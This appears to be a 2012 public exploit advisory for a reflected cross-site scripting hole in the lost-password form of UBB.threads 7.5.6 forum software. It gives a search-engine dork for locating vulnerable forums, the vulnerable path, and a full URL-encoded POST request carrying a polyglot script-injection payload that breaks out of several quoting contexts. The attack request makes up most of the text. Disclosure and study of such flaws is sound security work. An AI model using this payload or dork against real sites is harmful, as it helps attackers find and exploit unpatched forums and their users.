UBB Forum 7.5.6 Cross Site Scripting

# Exploit Title: UBB Forum 7.5.6 Cross Site Scripting
# Date: 5.01.2012
# Author: Sony
# Software Link: http://www.ubbcentral.com/
# Google Dorks: intext:Powered by UBB.threads™ PHP Forum Software 7.5.6
# Version: 7.5.6, maybe another version
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/01/ubb-forum756-cross-site-scripting.html
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Well, we have xss in the Username. [/ubb/login/lostpw/]

Put xss in the Username and press enter, it's only Post Method.

http://www.ubbcentral.com/forums/ubbthreads.php/ubb/login/lostpw/1

POST /forums/ubbthreads.php ubb=start_page&Loginname=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&Email=&buttforgot=I+forgot+my+password